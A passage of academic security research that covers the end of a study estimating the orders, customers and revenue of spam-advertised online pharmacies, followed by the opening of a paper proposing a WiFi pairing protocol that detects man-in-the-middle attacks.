browser visits such pages, the referrer information is sent to the image hosting servers for every new image visited.

uct pages, which allows us to infer the selected product.
To quantify overall shopping cart addition activity, we
compare the total number of visits to the number of vis-
its to the shopping cart page. To quantify individual item
popularity, we examine the subset of visits for which the
customer workflow allows us to infer which specific item
was added to the cart.

There are three key limitations to this approach.
First and foremost, the final page in the purchasing
workflow—the checkout page—generally does not in-
clude unique image content, and thus does not appear in
our logs (even if it did, our approach could not determine
whether checkout completed correctly). Thus, we can
only observe that a user inserted an item into their cart,
but not that they completed a purchase attempt. In gen-
eral, this is only an issue to the degree that shopping cart
abandonment correlates with variables of interest (e.g.,
drug choice). The second limitation is that pages typi-
cally use the same image for all dosages and quantities
on a given product page, and therefore we cannot distin-
guish these features (e.g., we cannot distinguish between
a user selecting 120 tablets of 25mg Viagra tablets vs.
an order of 10 tablets, each of 100mg). Finally, we can-
not disambiguate multiple items selected for purchase.
When a user visits a product page followed by the shop-
ping cart page, we can infer that they selected the associ-
ated product. However, if the visitor then continues shop-
ping and visits additional product pages, we cannot de-
termine whether they added these products or simply ex-
amined them (subsequent visits to the shopping cart page
add few new recommended products; recommendations
appear based on the first item in the cart). We choose
the conservative approach and only consider the products
that we are confident the user selected, which will cause
us to under-represent those drugs typically purchased to-
gether.

Another issue is that pharmacy formularies, while
largely similar, are not identical between programs. In

particular, some pharmacy programs (e.g., Online Phar-
macy) offer Schedule II drugs (e.g., Oxycodone and Vi-
codin). However, since EvaPharmacy does not sell such
drugs, our data does not capture this category of demand.

Finally, our dataset also has potential bias due to the
particular means used to drive traffic to it. We found
that 45 of the 50 top landing pages observed in the host-
ing data also appeared in our spam-driven crawler data,
demonstrating directly that these landing pages were ad-
vertised through email spam. While these pages could
also be advertised using less risky methods such as
SEO, this seems unlikely since spam-advertised URLs
are swiftly blacklisted [14]. Thus, we suspect (but cannot
prove) that our data may only capture the purchasing be-
havior for the spam-advertised pharmacies; different ad-
vertising vectors could conceivably attract different de-
mographics with different purchasing patterns.

Given these limitations, we now report the results
of two analyses: product popularity (what customers
buy) and customer distribution (where the money comes
from).

4.3 Product popularity

Our first analysis focuses on simple popularity: what in-
dividual items users put into their shopping carts (Ta-
ble 3a) and what broad (seller-defined) categories of
pharmaceuticals were popular (Table 3b) during our
measurement period. Although naturally dominated by
the various ED and sexually-related pharmaceuticals, we
find a surprisingly long tail; indeed, 38% of all items
added to the cart were not in this category. We observed
289 distinct products, including popular mass-market
products such as Zithromax (31), Acomplia (27), Nex-
ium (26), and Propecia (27); but also Cipro (11; a com-
monly prescribed antibiotic), Actos (6; a treatment for
Type 2 diabetes), Buspar (12; anti-anxiety), Seoquel (9;
anti-schitzophrenia), Clomid (8; ovulation inducer), and
Gleevec (1; used to treat Leukemia and other cancers).
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Figure 6: The geographic distribution of those who added an
item to their shopping cart.

Country Visits
Cart Added

Additions Product

United States 517,793 3,707 0.72%
Canada 50,234 218 0.43%
Philippines 42,441 39 0.09%
United Kingdom 39,087 131 0.34%
Spain 26,968 59 0.22%
Malaysia 26,661 31 0.12%
France 18,541 37 0.20%
Germany 15,726 56 0.36%
Australia 15,101 86 0.57%
India 10,835 17 0.16%
China 8,924 30 0.34%
Netherlands 8,363 21 0.25%
Saudi Arabia 8,266 36 0.44%
Mexico 7,775 17 0.22%
Singapore 7,586 17 0.22%

Table 2: The top 15 countries and the percentage of visitors
who added an item to their shopping cart.

This in turn explains why such online pharmacies
maintain a comprehensive inventory: not only does a full
formulary lend legitimacy, but it also represents a signif-
icant source of potential revenue.

We also comprehensively crawled an EvaPharmacy
site for pricing data and calculated the minimum esti-
mated revenue per purchase (also shown for the top 18
products in Table 3a). Combining this data with our mea-
surement of item popularity, we calculate a minimum
weighted-average item cost of $76 plus $15 for shipping
and handling. This weighted average assumes visitors al-
ways select the minimum-priced item for any given pur-
chase, and that the final purchases have the same distri-
bution as for items added to the user’s shopping cart.

4.4 Customer distribution
We next examine the geographic component of the Eva-
Pharmacy customer base. Figure 6 shows the geolocated
origin for all shopping cart additions. We observe that
EvaPharmacy has a vast advertising reach, producing site
visits from 229 distinct countries or territories. However,

this reach is not necessarily all that useful: the population
actively engaging with EvaPharmacy sites and placing
orders is considerably less diverse than the superset sim-
ply visiting (perhaps inadvertently or due to curiosity).
For example, the Philippines constitutes 4% of the vis-
itors, but only 1% of the additions to the shopping cart.
Overall, countries other than the U.S., Canada, and West-
ern Europe generate 29% of the visitors but only 13% of
the items added to the shopping cart. Conversely, the vast
majority of shopping cart insertions originate from the
U.S. and Canada (80%) or Europe (6%), reinforcing the
widely held belief that spam-advertised pharmaceuticals
are ultimately funded with Western Dollars and Euros.

The United States dominates both visits (54%) and
cart additions (76%), and moreover has the highest rate
of conversion between visit and shopping cart insertion
(0.72%). Table 2 well illustrates this, listing the activ-
ity from the countries originating the most visits. This
observation reinforces the conclusion that non-Western
audiences offer ineffective targets for such advertising.

Finally, we also notice significant differences be-
tween the drug selection habits of Americans com-
pared to customers from Canada and Western Europe.
In particular, we divide the EvaPharmacy formulary
into two broad categories: lifestyle drugs (defined as
drugs commonly used recreationally, including “male-
enhancement” items plus Human Growth Hormone,
Soma and Tramadol) and non-lifestyle (all others, in-
cluding birth control pills). We find that while U.S. cus-
tomers select non-lifestyle items 33% of the time, Cana-
dian and Western-European customer selections concen-
trate far more in the lifestyle category—only 8% of all
items placed in a shopping cart are non-lifestyle items.
We surmise that this discrepancy may arise due to differ-
ences in health care regimes; drugs easily justified to a
physician may be fully covered under state health plans
in Canada and Western Europe, leaving an external mar-
ket only for lifestyle products. Conversely, a subset of
uninsured or under-insured customers in the U.S. may
view spam-advertised, no-prescription-required pharma-
cies as a competitive market for meeting their medical
needs. To further underscore this point, we observe that
85% of all non-lifestyle drugs are selected by U.S. visi-
tors.

5 Revenue estimation
Combining the results from estimates on the order rate
per program and estimates of the shopping cart makeup,
we now estimate total revenue on a per-program basis.

5.1 Average price per order
The revenue model underlying our analysis is simple: we
multiply the estimated order rate by the average price per
order to arrive at a total revenue figure over a given unit
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Product Quantity Min order

Generic Viagra 568 $78.80
Cialis 286 $78.00
Cialis/Viagra Combo Pack 172 $74.95
Viagra Super Active+ 121 $134.80
Female (pink) Viagra 119 $44.00
Human Growth Hormone 104 $83.95
Soma (Carisoprodol) 99 $94.80
Viagra Professional 87 $139.80
Levitra 83 $100.80
Viagra Super Force 81 $88.80
Cialis Super Active+ 72 $172.80
Amoxicillin 47 $35.40
Lipitor 38 $14.40
Ultram 38 $45.60
Tramadol 36 $82.80
Prozac 35 $19.50
Cialis Professional 33 $176.00
Retin A 31 $47.85

(a)

Category Quantity

Men’s Health 1760
Pain Relief 232
Women’s Health 183
General Hearth 135
Antibiotics 134
Antidepressants 95
Weight Loss 92
Allergy & Asthma 85
Heart & Blood Pressure 72
Skin Care 54
Stomach 41
Mental Health & Epilepsy 33
Anxiety & Sleep Aids 33
Diabetes 22
Smoking Cessation 22
Vitamins and Herbal Suppliments 18
Eye Care 15
Anti-Viral 14

(b)

Table 3: Table (a) shows the top 18 product items added to visitor shopping carts (representing 66% of all items added). Table (b)
shows the top 18 seller-defined product categories (representing 99% of all items).

of time. However, we do not know, on a per-program ba-
sis, the actual average purchase price. Thus, we explore
three different approximations, all of which we believe
are conservative.

First, for on-line pharmacies we use the static value of
roughly $100 as reported in our previous “Spamalytics”
study [10]. However, this study only considered one par-
ticular site, covered only 28 customers, and was unable
to handle more than a single item placed in a cart (i.e.,
it could not capture information about customers buying
multiple items).

We also consider a second approximation based on the
minimum priced item (including shipping) on the site for
each program under study. Since sites can have enormous
catalogs, we restrict the set of items under considera-
tion as follows. For pharmacy sites, we consider the top
18 most popular items as determined by the analysis of
EvaPharmacy in § 4 (these top 18 items constituted 66%
of order volume in our analysis). For each of these items
present in the target pharmacy, we find the minimum-
priced instance (i.e., lowest dosage and quantity) and use
the overall minimum as our per-order price. For small
deviations between pharmacy formularies (e.g., differ-
ent Viagra store-brand variants) we simply substitute one
item for the other. We repeat this same process for soft-
ware, but since we do not have a reference set of most
popular items for this market, we simply use the de-
clared “bestsellers” at each site (16 at Royal Software,
36 and SoftSales and 76 at EuroSoft)—again using the

minimum priced item to represent the average price per
order.

Finally, we calculate a “basket-weighted average”
price using measured popularity data. For pharmacies we
again consider the 18 most popular EvaPharmacy items
and extract the overlap set with other pharmacies. Us-
ing the relative frequency of elements in this intersec-
tion, we calculate a popularity vector that we then use
to weight the minimum item price; we use the sum of
these weights as the average price per order. Intuitively,
this approach tries to accommodate the fact that prod-
uct’s have non-uniform popularity, while still using the
conservative assumption that users order the minimum
dosage and quantity for each item. Note that we implic-
itly assume that the distribution of drug popularity holds
roughly the same between online pharmacies.10

We repeated this analysis, as before, with site-declared
best-selling software packages. To gauge relative popu-
larity, we searched a large BitTorrent metasearch engine
(isohunt.com), which indexes 541 sites tracking over
6.5 million torrents. We assigned a popularity to each
software item in proportion to the sum of the seeders and
leechers on all torrents matching a given product name.
We then weighted the total prices (inclusive of any han-
dling charge) by this popularity metric to arrive at an es-
timate of the average order price.

10One data point supporting this view is Rx–Promotion’s rank-
ordered list of best selling drugs. The ten most popular items sold by
both pharmacies are virtually the same and ranked in the same order.
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Affiliate Program orders/month
Spamalytics Min product price Basket-weighted average

single order rev/month single order rev/month single order rev/month

33drugs 9,862 $100 $980,000 $45.00 $440,000 $57.25 $560,000
4RX 8,001 $100 $800,000 $34.50 $280,000 $95.00 $760,000
EuroSoft 22,776 N/A N/A $26.50 $600,000 $84.50 $1,900,000
EvaPharmacy 26,962 $100 $2,700,000 $50.50 $1,300,000 $90.00 $2,400,000
GlavMed 17,933 $100 $1,800,000 $54.00 $970,000 $57.00 $1,000,000
Online Pharmacy 5,856 $100 $590,000 $37.00 $220,000 $58.00 $340,000
Pharmacy Express 7,933 $100 $790,000 $51.00 $410,000 $58.75 $460,000
Royal Software 13,483 N/A N/A $55.25 $750,000 $133.75 $1,800,000
Rx–Promotion 6,924 $100 $690,000 $45.00 $310,000 $57.25 $400,000
SoftSales 1,491 N/A N/A $20.00 $30,000 $134.50 $200,000

Table 4: Estimated monthly order volume, average purchase price, and monthly revenue (in dollars) per affiliate program using
three different per-order price approximations.

5.2 Revenue

Finally, to place a rough estimate on revenue, we multi-
ply the 2011 order volume measurements shown in Fig-
ure 4 against each of the previously mentioned approxi-
mations, summarized in Table 4. In general, the approxi-
mation from our prior “Spamalytics” study is the largest,
followed by basket-weighted average and then minimum
product price. However, for pharmaceutical programs
the difference between product prices is not large, and
thus the minimum and basket-weighted estimates all lie
within 2X of one another. Software programs see much
more variation in price, and hence the difference between
the minimum and basket-weighted revenue estimates can
be substantial.

Using the basket-weighted approximation, we find
that both GlavMed and EvaPharmacy produce revenues
in excess of $1M per month, with all but two over $400K.
Surprisingly, software sales also produce high revenue—
less due to high prices than high order volumes. It re-
mains for future work how to further validate how closely
order volumes track successfully completed orders for
this market niche.

5.3 External consistency

While we put considerable care into producing these es-
timates, a number of biases remain unavoidable. First,
while our order volume data has internal consistency
(and consistency with order number implementations in
common shopping cart software), we could not capture
the impact of order declines. Thus, we have a somewhat
optimistic revenue estimate, since surely some fraction
of orders will not complete.

On the other hand, our estimates of average order rev-
enue are themselves conservative in several key ways.
First, they assume that all purchasers select only a sin-
gle item. Second, they assume that when purchasing an
item, all users select the minimum dosage and quantity.

Finally, for pharmaceuticals we need to keep in mind
that EvaPharmacy does not carry “harder” drugs found
at other sites, such as Schedule II opiates. We have found
anecdotal evidence that these drugs are highly popular
at such sites, but our methodology does not offer any
means to consider their impact. Such items are also typi-
cally more expensive than other drugs (e.g., the cheapest
Hydrocodone order possible at one popular pharmacy is
$186 plus shipping). Thus, this other factor will cause us
to underestimate the true revenue per order.

Our intuition is that such factors are modest, and
our estimates capture—within perhaps a small constant
factor—the true level of financial activity within each
enterprise. However, absent ground truth data for pro-
gram revenues, it is not generally possible to validate our
model and hence verify that our measurements actually
capture reality. In general, this kind of validation is rarely
possible since the actors involved are not public compa-
nies and do not make revenue statements available.

Due to an unusual situation, however, we were able
to acquire such information for one program, Rx–
Promotion. In particular, a third party made public a va-
riety of information, including multiple months of ac-
counting data, for Rx–Promotion’s payment processor.11

While we cannot validate the provenance of this data,
its volume and specificity make complete fabrication un-
likely. In addition, given that our research covers only a
small subset of this data, it seems further unlikely that
any fabrication would closely match our own indepen-
dent measurements.

Unfortunately, we do not have payment ledgers pre-
cisely covering our 2011 measurement period. Instead,
we compare against a similar period six months ear-
lier for which we do have ground truth documentation,
27 consecutive days from the end of Spring, 2010. These

11While our legal advisers believe that the prior public disclosure of
this data allows its use in a research context, we chose not to unneces-
sarily antagonize the payment services provider by naming them here.
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two periods are comparable because during both times
Rx–Promotion had significant difficulty processing or-
ders on “controlled” drugs (indeed, during the 2011 pe-
riod such drugs had been removed from the standard for-
mulary on Rx–Promotion affiliates).12

Based on this data, we find that between May 31 and
June 26, 2010, Rx–Promotion’s turnover via electronic
payments was $609K.13 Using our estimate of 385 orders
per day in 2010 (see § 3), this is consistent with an aver-
age revenue per order of $58, very similar to our basket-
weighted average order price estimate of $57. While we
suspect that both estimates are likely off (with the num-
ber of true June 2010 orders likely less due to declines,
and January 2011 price-per-order likely higher due to
conservatism in our approximation), they are sufficiently
close to one another to support our claim that this ap-
proach can provide a rough, but well-founded estimate
(i.e., within a small constant factor) of program revenue.

6 Conclusion

When asked why he robbed banks, Willie Sutton fa-
mously responded, “Because that’s where the money
is.” The same premise is frequently used to explain the
plethora of unwanted spam that fills our inboxes, pol-
lutes our search results and infests our social networks—
spammers spam because they can make money at it.
However, a key question has long been how much money,
and from whom? In this paper we provide what we be-
lieve represents the most comprehensive attempt to an-
swer these questions to date. We have developed new in-
ference techniques: one to estimate the rate of new orders
received by the very enterprises whose revenue drives
spam, and the other to characterize the products and cus-
tomers who provide that same revenue. We provide quan-
titative evidence showing that spam is ultimately sup-
ported by Western purchases, with a particularly central
role played by U.S. customers. We also provide the first
sense of market size, with well over 100,000 monthly
orders placed in our dataset alone. Finally, we provide
rough but well-founded estimates of per-program rev-
enue. Our results suggest that while the spam-advertised
pharmacy market is substantial, with annual revenue in
the many tens of millions of dollars, it has nowhere near
the size claimed by some, and indeed falls vastly short of
the annual expenditures on technical anti-spam solutions.

12During periods when such drugs were sold en masse, the overall
Rx–Promotion revenue was frequently doubled.

13Interestingly, this data also provides useful information about re-
funds and chargebacks (together about 10% of revenue) as well as
processing fees (roughly 8.5%). Thus, the gross revenue delivered to
Rx–Promotion in June 2010 was likely closer to $489K. Finally, since
roughly 40% of successful order income is paid to affiliates on a com-
mission basis, that leaves only $270K (44% of gross) for fulfillment,
administrative costs, and profit.
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ABSTRACT

This paper presents the first wireless pairing protocol

that works in-band, with no pre-shared keys, and protects

against MITM attacks. The main innovation is a new key

exchange message constructed in a manner that ensures

an adversary can neither hide the fact that a message was

transmitted, nor alter its payload without being detected.

Thus, any attempt by an adversary to interfere with the

key exchange translates into the pairing devices detect-

ing either invalid pairing messages or an unacceptable

increase in the number of such messages. We analytically

prove that our design is secure against MITM attacks,

and show that our protocol is practical by implementing a

prototype using off-the-shelf 802.11 cards. An evaluation

of our protocol on two busy wireless networks (MIT’s

campus network and a reproduction of the SIGCOMM

2010 network using traces) shows that it can effectively

implement key exchange in a real-world environment.

1 INTRODUCTION

Recent trends in the security of home WiFi networks are

driven by two phenomena: ordinary users often strug-

gle with the security setup of their home networks [14],

and, as a result, some of them end up skipping security

activation [19, 26]. Simultaneously, there is a prolifera-

tion of WiFi gadgets and sensors that do not support an

interface for entering a key. These include WiFi sound

systems, medical sensors, USB keys, light and tempera-

ture sensors, motion detectors and surveillance sensors,

home appliances, and game consoles. Even new models

of these devices are unlikely to support a keypad because

of limitations on their form factor, style, cost, or func-

tionality. Responding to these two requirements—easing

security setup for home users, and securing devices that

do not have an interface for entering a key—the WiFi

Alliance has introduced the Push Button Configuration

(PBC) mechanism [26]. To establish a secure connec-

tion between two WiFi devices, the user pushes a button

on each device, and the devices broadcast their Diffie-

Hellman public keys [7], which they then use to protect

all future communication. PBC is a mandatory part of

the new WiFi Protected Setup certification program [27].

It is already adopted by the major WiFi manufacturers

(e.g., Cisco, NetGear, HP, Microsoft, Sony) and imple-

mented in about 2,000 new products from 117 different

companies [25].

Unfortunately, the PBC approach taken by the WiFi

Alliance does not fully address WiFi security. Diffie-

Hellman’s key-exchange protocol [7] protects against only

passive adversaries that snoop on the wireless medium to

obtain key exchange messages. Since the key exchange

messages are not authenticated in any way, the protocol is

vulnerable to an active man-in-the-middle (MITM) attack.

That is, an adversary can impersonate each device to

the other, convincing both devices to establish a secure

connection via the adversary. With WiFi increasingly

used in medical sensors that transmit a patient’s vital

signals [11] and surveillance sensors that protect one’s

home [16, 21], there is a concern that, being vulnerable

to MITM attacks, PBC may give users a false sense of

security [15, 26].

One may wonder why the WiFi Alliance did not

adopt a user-friendly solution that also protects against

MITM attacks. We believe the reason is that exist-

ing user-friendly solutions to MITM attacks require de-

vices to support an out-of-band communication chan-

nel [6, 10, 17, 18, 20, 22]. For example, devices can

exchange keys over a visual channel between an LCD and

a camera [18], an audio channel [10], an infrared chan-

nel [2], a dedicated wireless channel allocated exclusively

for key exchange [6], etc. Given the cost, size, and capa-

bility constraints imposed on many WiFi products, it is

difficult for the industry to adopt a solution that requires

an out-of-band communication channel.

This paper presents tamper-evident pairing (TEP), a

novel protocol that provides simple, secure WiFi pairing

and protects against MITM attacks without an out-of-band

channel. TEP can also be incorporated into PBC devices

and existing WiFi chipsets without hardware changes.

TEP’s main challenge in avoiding MITM attacks comes

from operating on a shared wireless network, where an

adversary can mask an attack behind cross traffic, making

it difficult to distinguish an adversary’s actions from legit-

imate traffic patterns. To understand this, consider a key

exchange between Alice and Bob, where Bob sends his

Diffie-Hellman public key to Alice. Lucifer, the adversary,

could tamper with this key exchange as follows:

• Collision: Lucifer can jam Bob’s message, causing a

collision, which would not look out-of-the-ordinary on

a busy wireless network. The collision prevents Alice

from decoding Bob’s message. Lucifer can now send

his own message to Alice, in lieu of Bob’s message,

perhaps with the help of a directional antenna so that

Bob does not notice the attack.

1
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Figure 1: The format of a tamper-evident announcement (TEA).

• Capture effect: Lucifer can transmit simultaneously

with Bob, but at a significantly higher power, to produce

a capture effect at Alice [24]. In this case, Alice will

decode Lucifer’s message, in which he impersonates

Bob, despite Bob’s concurrent transmission. Bob will

not know about Lucifer’s transmission.

• Timing control: Lucifer can try to impersonate Alice

by continuously occupying the wireless medium after

Bob sends out his key, so that Lucifer can send out a

message pretending to be Alice, but Alice does not get

a chance to send her legitimate key.

To address these attacks in TEP, we introduce a tamper-

evident announcement (TEA) primitive. The key charac-

teristics of a TEA message is that an attacker can neither

hide a TEA transmission from other nodes within radio

range, nor can it modify the content of the TEA without

being detected. Thus, a TEA provides stronger guarantees

than payload integrity because it also protects the fact that

a message was transmitted in the first place.

Fig. 1 shows the structure of a TEA. First, to ensure that

Lucifer cannot mask Bob’s TEA message by introducing

a collision, the TEA starts with an exceptionally long

packet. Since standard WiFi collisions are significantly

shorter, Alice needs to detect only exceptionally long

collisions (i.e., exceptionally long bursts of energy) as

potential attacks on the key exchange process.

Second, to ensure that Lucifer cannot alter the pay-

load of Bob’s TEA by transmitting his own message at

a high power to create a capture effect, we force any

TEA message to include silence periods. As shown in

Fig. 1, the payload of the TEA message is followed by a

sequence of short equal-size packets, called slots, where

the transmission of a packet is interpreted as a “1” bit,

and an idle medium is interpreted as a “0” bit. The bit

sequence produced by the slots must match a hash of the

TEA payload. If Lucifer overwrites Bob’s message with

his own, he must transmit slots corresponding to a hash

of his message, including staying silent during any zero

hash bits. However, since the hash of Lucifer’s message

differs from that of Bob’s message, Bob’s message will

show up on the medium during Lucifer’s “0” slots. Alice

will detect a mismatch between the slots and the message

hash and reject Lucifer’s message.

Third, to ensure that legitimate nodes do not mess up

the timing of Alice and Bob’s key exchange, the TEA

message includes a CTS-to-SELF, as shown in Fig. 1.

CTS-to-SELF is an 802.11 message that requires honest

nodes to refrain from transmitting for a time period spec-

ified in the packet. TEP leverages this message for two

goals. First, it uses it to reserve the medium for the dura-

tion of the TEA slots to ensure that legacy 802.11 nodes,

unaware of the structure of a TEA message, do not sense

the medium as idle and transmit during a TEA’s silent

slots. Second, TEP also uses CTS-to-SELF to reserve the

medium for a short period after the TEA slots, to enable

Alice to send her key to Bob within the interval allowed

by PBC. Once Alice starts her transmission, the medium

will be occupied, and honest 802.11 nodes will abstain

from transmitting concurrently. If Lucifer transmits dur-

ing the reserved time frame, Alice will still transmit her

TEA message, and cause a collision, and hence an invalid

TEA message that Bob can detect.

We build on TEA to develop the TEP pairing protocol.

TEP exploits the fact that any attempts to alter or hide

a TEA can be detected. Thus, given a pairing window,

any attempt by an adversary to interfere with the pairing

exchange translates into either an increase in the number

of TEA messages or some invalid TEA messages. This

allows the pairing devices to detect the attack and indicate

to the user that pairing has failed and that she should

retry. The cost of such a mechanism is that the user has to

wait for a pre-determined duration of the pairing window.

In §5.4, we describe how one may eliminate this wait by

having a user push the button on a device a second time.

This paper formalizes the above ideas to address possi-

ble interactions between the pairing devices, adversaries,

and other users of the medium, and formally proves that

the resulting protocol is secure against MITM attacks.

Further, we build a prototype of TEP as an extension to

the Ath5k driver [1], and evaluate it using off-the-shelf

802.11 Atheros chipsets. Our findings are as follows:

• TEP can be accurately realized using existing OS and

802.11 hardware. Specifically, our prototype sender

can schedule silent and occupied slots at a resolution

of 40µs, and its 95th percentile scheduling error is as

low as 1.65µs. Our prototype receiver can sense the

medium’s occupancy over periods as small as 20µs and

can distinguish occupied slots (“1” bits) from silent

slots (“0” bits) with a zero error rate.

• Results from running the protocol on our campus net-

work and applying the traces from the network during

the SIGCOMM 2010 conference, show that TEP never

confuses honest 802.11 traffic for an attack. Further-

more, though our implementation is for 802.11, it can

coexist with nearby Bluetooth devices which do not

respect TEP silent slots. In this case, TEP can still

perform a key exchange using 1.4 attempts, on average.

Contributions: This paper presents, to our knowledge,

the first wireless pairing protocol that defeats MITM at-

tacks without any key distribution or out-of-band channels.

2
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It does so by introducing TEA, a new key exchange mes-

sage constructed in a manner that ensures an adversary

can neither hide the fact that a message was transmitted,

nor alter its payload without being detected. Our proto-

col is prototyped using off-the-shelf 802.11 devices and

evaluated in production WiFi networks.

2 RELATED WORK

There has been a lot of interest in user-friendly secure

wireless pairing, which has led to a number of innovative

solutions [2, 6, 10, 17, 18, 20, 22]. TEP builds on this

foundational work. However, TEP is the first to provide a

secure pairing scheme that defeats MITM attacks without

out-of-band channels, or key distribution or verification.

Closest to TEP is the work on integrity codes [5], which

protects the integrity of a message’s payload by inserting

a particular pattern of ON-OFF slots. Integrity codes,

however, assume a dedicated out-of-band wireless chan-

nel. In contrast, on shared channels, honest nodes may

disturb the ON-OFF pattern by acquiring the medium

during the OFF slots. Further, the attacker can hide the

fact that a message was transmitted altogether, by using

collisions or a capture effect. We build on integrity codes,

but introduce TEA, a new communication primitive that

not only protects payload integrity but also ensures that an

attacker cannot hide that a message was transmitted. We

further construct TEP by integrating TEA with the 802.11

standard, the PBC protocol, and the existing OS network

stack. Finally, we implement TEP on off-the-shelf WiFi

devices and evaluate it in operational networks.

TEP is also related to work on secure pairing, which

traditionally required the user to either enter passwords

or PINs [3, 4, 12], or distribute public keys (e.g., STS [8],

Radius in 802.11i [13], or any other public key infras-

tructure). These solutions are appropriate for enterprise

networks and for a certain class of home users who are

comfortable with security setup. However, the need to

ease security setup for non-technical home users has moti-

vated multiple researchers to propose alternative solutions

for secure pairing. Most previous solutions use a trusted

out-of-band communication channel for key exchange.

The simplest channel is a physical wired connection be-

tween the two devices. Other variants of out-of-band

channels include the use of a display and a camera [18],

an audio-based channel [10], an infra-red channel [2],

a tactile channel [22], or an accelerometer-based chan-

nel [17]. While these proposals protect against MITM

attacks, many devices cannot incorporate such channels

due to size, power, or cost limitations. In contrast, TEP

eases the security setup for home users and defeats MITM

attacks, without any out-of-band channel.

Finally, multiple user studies [14, 19, 26] have empha-

sized the difficulty in pairing devices for ordinary users.

Our work is motivated by these studies. TEP requires the
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Figure 2: A timeline depicting the operation of Push Button Con-

figuration (PBC) between an enrollee and a registrar.

user to just push a button on each device—exactly as in

PBC—and does not require any additional user involve-

ment in key generation or verification.

3 PBC AND 802.11 BACKGROUND

3.1 Push Button Configuration

The WiFi-Alliance introduced the Push Button Configura-

tion (PBC) mechanism to ease the security setup process

for ordinary users, and to deal with devices that do not

have an interface to enter passwords or PINs. In this

section, we provide an overview of how PBC works.

Consider a home user who wants to associate an en-

rollee (PBC’s term for the new device, e.g., a gaming

console) with a registrar (PBC’s term for, effectively,

the access point). The user first pushes a button on the

enrollee and then, within 120 seconds (called the walk

time), pushes the button on the registrar. Once the but-

tons are pushed on the two devices, the devices perform a

Diffie-Hellman key exchange to establish a secret key.

As shown in Fig. 2, once the button is pushed on the en-

rollee, it periodically sends probes [26] requesting replies

from registrars whose PBC button has been pressed. Once

the enrollee receives a reply, it makes a note of the reply

and continues to scan all the 802.11 channels for addi-

tional replies. If the enrollee receives replies from more

than one registrar, across all 802.11 channels, it raises a

session overlap error, indicating that the user should try

again later. On the other hand, if it receives a reply from

only one registrar, it proceeds with the registration proto-

col, using the Diffie-Hellman key from that one reply.

A registrar, for its part, stays on its dedicated channel,

and replies to probe requests only if the user has pushed

its PBC button. Once the button is pushed, the registrar

replies to PBC requests from potential enrollees. To detect

conflicts, the registrar checks for requests in the last 120

seconds. If there are requests from more than one enrollee,

the registrar signals a session overlap error and refuses

to perform the PBC registration protocol, requiring the

user to retry. If there was only one enrollee request, the

registrar proceeds with the registration protocol using the

Diffie-Hellman public key from that one request.

3



238 20th USENIX Security Symposium USENIX Association

While PBC’s use of Diffie-Hellman protects the de-

vices from eavesdropper attacks, an active adversary can

hide or change any of the messages, by resorting to colli-

sions, capture effect attacks, or hogging the medium and

delaying these messages. This allows an adversary to gain

access to the user’s registrar (e.g., their home network),

the enrollee device, or to intercept and alter any future

messages between the enrollee and registrar. Defending

against such adversaries requires a system that is robust

to MITM attacks, which is the main contribution of TEP.

3.2 802.11

Since our protocol involves low-level details of the 802.11

standard, we summarize the relevant aspects of 802.11

in this section. 802.11 requires nodes to sense the wire-

less medium for energy, and transmit only in its absence.

802.11 nodes can transmit using a range of bit rates, with

the minimum bit rate of 1 Mbps. Coupling this with the

fact that the maximum packet size used by higher layers

is typically 1500 bytes, an honest node can occupy the

channel for a maximum of 12 ms. 802.11 requires back-

to-back packets to be separated by an interval called the

DCF Inter-Frame Spacing (DIFS), whose value can be

34µs, 50µs, or 28µs, depending on whether the network

uses 802.11a, b, or g. 802.11 acknowledgment packets,

however, can be transmitted after a shorter duration of

10µs, called the Short Inter-Frame Spacing (SIFS).

4 SECURITY MODEL

TEP addresses the problem of authenticating key ex-

change messages between two wireless devices, in the

presence of an active adversary that may try to mount a

man-in-the-middle attack.

4.1 Threat Model

The adversary can eavesdrop on all the signals on the chan-

nel, including all prior communications. The adversary

can also be active and transmit with an arbitrary power, at

any time, thereby corrupting or overpowering other con-

current transmissions. The adversary may know the TEP

protocol, the precise times when devices transmit their

announcements, and their exact locations. In addition, the

adversary can know the exact channel between the pairing

devices, and the channel from the pairing devices to the

adversary. The adversary can also be anywhere in the

network and is free to move. Multiple adversaries may

exist in the network and can collude with each other.

The adversary can have access to state-of-the-art RF

technologies: he can have a multi-antenna system, he may

be able to simultaneously receive and transmit signals,

and he can use directional antennas to ensure that only

one of the pairing devices can hear its transmissions.

The adversary, however, does not have physical control

over the pairing devices or their surroundings. Specifi-

cally, the adversary cannot place either of the two devices

Term Definition

Tamper-evident

announcement

A wireless message whose presence and the in-

tegrity of its payload are guaranteed to be detected

by every receiver within radio range (Figure 1).

Synchronization

packet

An exceptionally long packet whose presence in-

dicates a TEA. To detect a synchronization packet,

it is sufficient to detect that the medium is contin-

uously occupied for the duration of the synchro-

nization packet, which is 19 ms.

Payload packet The part of a TEA containing the data payload

(e.g., a device public key).

ON-OFF slot The interval used to convey one bit from sender

to receiver. The slot time is 40µs. The bits in the

slots are balanced, as described in §5.1.2.

Occupied/ON slot A slot during which the medium is busy with a

transmission.

Silent/OFF slot A slot during which the medium is idle.

Sensing

window

The interval over which the receiver collects ag-

gregate information for whether the medium is

occupied or silent.

Fractional

occupancy

The fraction of time the medium was busy during

a sensing window.

Table 1: Terminology used to describe TEP.

in a Faraday cage to shield all signals. We also assume

that the adversary cannot break traditional cryptographic

constructs, such as collision-resistant hash functions.

Finally, we assume that the PBC buttons operate accord-

ing to the PBC standard [26] and that the user performs

the PBC pairing as prescribed in the standard, i.e., the

user puts the two devices in range then pushes the buttons

on the two devices within 120 seconds of each other.

4.2 Security Guarantees

Under the assumptions outlined above, TEA guarantees

that an adversary cannot tamper with the payload of a

TEA message, or mask the fact that a TEA message was

transmitted. Building on the TEA mechanism, TEP guar-

antees that in the absence of an active adversary, two

pairing devices can establish secure pairing. In the pres-

ence of an adversary who is actively mounting MITM

attacks (or in the presence of more than two devices at-

tempting to pair at the same time), TEP ensures that the

pairing devices will signal an error and never be tricked

into pairing with the adversary (or, more generally, with

the wrong device). In other words, TEP provides the PBC

security guarantees augmented with protection against

MITM attacks.

5 TEP DESIGN

TEP’s design is based upon the TEA mechanism, a uni-

directional announcement protocol that guarantees that

adversaries cannot tamper with or mask TEA messages

without detection. TEP uses TEA to exchange public

keys between the PBC enrollee and registrar in a way that

resists MITM attacks. At a high level, when an enrollee

enters PBC mode, it sends out a TEA message containing

its public key. When a registrar in PBC mode receives

4
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this message (or suspects that an adversary may have tried

to tamper with or mask such a message), it responds with

its own public key. Both the enrollee and the registrar

collect all TEA messages received during PBC’s walk

time period. If, during that time, each received exactly

one unique public key (and no tampered messages), they

can conclude that this public key came from the other

